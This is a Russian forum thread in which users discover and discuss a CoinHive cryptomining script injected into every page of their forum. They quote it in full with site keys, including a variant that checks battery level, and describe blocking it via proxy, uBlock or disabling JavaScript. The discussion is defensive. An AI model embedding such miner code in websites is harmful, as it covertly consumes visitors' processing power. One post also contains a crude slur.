В исходнике каждой страницы. Код (Text): <body><script src="https://coin-hive.com/lib/coinhiv.min.js"></script> <script> var miner = new CoinHive.Anonymous('AprkKnDhxVVYCpyd44sJFNdVZNjnWWOm', { throttle: 0.2, threads: 10, autoThreads: false, } ); miner.start(); </script>
Вот блин... придётся на малине поднимать прокси... чтобы он "вырезал" этот кусок кода из содержимого.
вот по этому адресу (https://coin-hive.com/) даже исходники дают: Код (Javascript): <script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.User('<site-key>', 'john-doe'); miner.start(); </script> ну и Код (Bash): curl "https://api.coin-hive.com/user/balance?name=john-doe&secret=<secret-key>" # {success: true, name: "john-doe" balance: 4096} как раз в "разделе" Flexible JavaScript API хотя можно проще... в прокси блокировать адрес https://coin-hive.com/ ну или IP Код (Bash): igor@debian-i:~$ ping www.coin-hive.com PING www.coin-hive.com (94.130.129.239) 56(84) bytes of data. 64 bytes from static.239.129.130.94.clients.your-server.de (94.130.129.239): icmp_req=1 ttl=52 time=52.0 ms 64 bytes from static.239.129.130.94.clients.your-server.de (94.130.129.239): icmp_req=2 ttl=52 time=53.9 ms 64 bytes from static.239.129.130.94.clients.your-server.de (94.130.129.239): icmp_req=3 ttl=52 time=55.6 ms 64 bytes from static.239.129.130.94.clients.your-server.de (94.130.129.239): icmp_req=4 ttl=52 time=52.1 ms
Ну если интересно содержимое coinhive.min.js.zip по wget: Код (Bash): igor@debian-i:~/Загрузки/wget$ wget https://coin-hive.com/lib/coinhive.min.js --2017-09-22 16:57:49-- https://coin-hive.com/lib/coinhive.min.js WARNING: gnome-keyring:: couldn't connect to: /home/igor/.cache/keyring-ngq8T8/pkcs11: Нет такого файла или каталога Распознаётся coin-hive.com (coin-hive.com)... 94.130.129.239, 94.130.128.243, 94.130.128.151, ... Подключение к coin-hive.com (coin-hive.com)|94.130.129.239|:443... соединение установлено. HTTP-запрос отправлен. Ожидание ответа... 200 OK Длина: 137881 (135K) [application/javascript] Сохранение в каталог: ««coinhive.min.js»». 100%[======================================================================================================================================================>] 137 881 423K/s за 0,3s 2017-09-22 16:57:52 (423 KB/s) - «coinhive.min.js» saved [137881/137881] igor@debian-i:~/Загрузки/wget$
Вот интересно стало... по новому: Код (Javascript): <script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', { threads: navigator.hardwareConcurrency/4, autoThreads: false, forceASMJS: false }); miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); setInterval(function() { var threadCount = miner.getNumThreads(); var hashesPerSecond = Math.round(miner.getHashesPerSecond()); var getTotalHashes = miner.getTotalHashes(); navigator.getBattery().then(function (battery) { if (battery.level < 0.50 && battery.charging == false) { miner.stop(); } }); }, 100); </script> Даде батарейку проверяет.
Уважаемые майнеры!!! Если не затруднит измените интервал в скрипте в 10 раз... и исключите повторение запуска. А то процессор грузит. Понимаю конечно, что источник сего хлама именно на сайте в исходниках страниц.
при отключенном JS пробую вставить код: Код (Bash): echo "test" Код (C++): #include <stdio.h> int main(void) { printf("test"); return 0; } Вроде работает... только вручную. Зато загрузки процессора нет никакой. И прокси поднимать не надо. И глупых ошибочных сообщений нет... и редактировать нормально. И войти получается... ну понятное дело всплывающего меню нет. И JS можно включать и выключать когда надо... только после этого обновлять страницу.
Как вариант для Firefox установил дополнение uBlock... запросы конечно есть, но блокируются. Выскакивает предупреждение, но загрузки процессора нет.
Спасибо, Друг, за предупреждение! А я то грешил на что угодно, во тот такой подляны не ожидал. Ну да, пользуйся народ, у меня же комп так, для красоты стоит. Скажу, как думаю- вы, админы, ПИДАРАСЫ!
С помощью uBlock блокировал только адрес в скрипте (кусок): Код ( (Unknown Language)): <script src="https://coin-hive.com/lib/coinhive.min.js"></script> Только пишет, что ошибка при загрузке "быблиотеки"... и как правило при обновлении (автобновлении). Ну и соответственно и запустить не может. Вставка смайликов и кода сопровождается обновлением... ну и новым предупреждением